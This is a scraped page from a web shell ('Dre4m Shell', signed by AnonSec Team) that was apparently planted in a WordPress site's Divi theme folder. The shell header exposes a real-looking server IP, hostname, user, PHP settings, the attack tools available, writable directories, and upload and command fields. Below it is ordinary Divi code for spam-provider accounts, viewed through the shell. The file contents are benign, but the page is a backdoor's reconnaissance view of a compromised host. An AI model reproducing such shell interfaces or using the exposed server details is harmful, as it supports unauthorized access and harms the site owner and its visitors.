Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.191.192.250
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/core/components/api/spam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/core/components/api/spam/init.php
<?php

if ( ! function_exists( 'et_core_api_spam_init' ) ):
function et_core_api_spam_init() {
	if ( is_admin() ) {
		return;
	}

	if ( ! et_core_api_spam_find_provider_account() ) {
		// Always instantiate ReCaptcha class
		ET_Core_API_Spam_Providers::instance()->get( 'recaptcha', '' );
	}
}
endif;


if ( ! function_exists('et_builder_spam_add_account' ) ):
function et_core_api_spam_add_account( $name_or_slug, $account, $api_key ) {
	et_core_security_check();

	if ( empty( $name_or_slug ) || empty( $account ) ) {
		return __( 'ERROR: Invalid arguments.', 'et_core' );
	}

	$providers = ET_Core_API_Spam_Providers::instance();
	$provider  = $providers->get( $name_or_slug, $account, 'builder' );

	if ( ! $provider ) {
		return '';
	}

	if ( is_array( $api_key ) ) {
		foreach ( $api_key as $field_name => $value ) {
			$provider->data[ $field_name ] = sanitize_text_field( $value );
		}
	} else if ( '' !== $api_key ) {
		$provider->data['api_key'] = sanitize_text_field( $api_key );
	}

	$provider->save_data();

	return 'success';
}
endif;


if ( ! function_exists( 'et_core_api_spam_find_provider_account' ) ):
function et_core_api_spam_find_provider_account() {
	$spam_providers = ET_Core_API_Spam_Providers::instance();

	if ( $accounts = $spam_providers->accounts() ) {
		$enabled_account = '';
		$provider        = '';

		foreach ( $accounts as $provider_slug => $provider_accounts ) {
			if ( empty( $provider_accounts ) ) {
				continue;
			}

			foreach ( $provider_accounts as $account_name => $account ) {
				if ( isset( $account['site_key'], $account['secret_key'] ) ) {
					$provider        = $provider_slug;
					$enabled_account = $account_name;
					break;
				}
			}
		}

		if ( $provider && $enabled_account ) {
			return $spam_providers->get( $provider, $enabled_account );
		}
	}

	return false;
}
endif;


if ( ! function_exists( 'et_core_api_spam_remove_account' ) ):
/**
 * Delete an existing provider account.
 *
 * @since 4.0.7
 *
 * @param string $name_or_slug The provider name or slug.
 * @param string $account      The account name.
 */
function et_core_api_spam_remove_account( $name_or_slug, $account ) {
	et_core_security_check();

	if ( empty( $name_or_slug ) || empty( $account ) ) {
		return;
	}

	$providers = ET_Core_API_Spam_Providers::instance();

	if ( $provider = $providers->get( $name_or_slug, $account ) ) {
		$provider->delete();
	}
}
endif;

Anon7 - 2022
AnonSec Team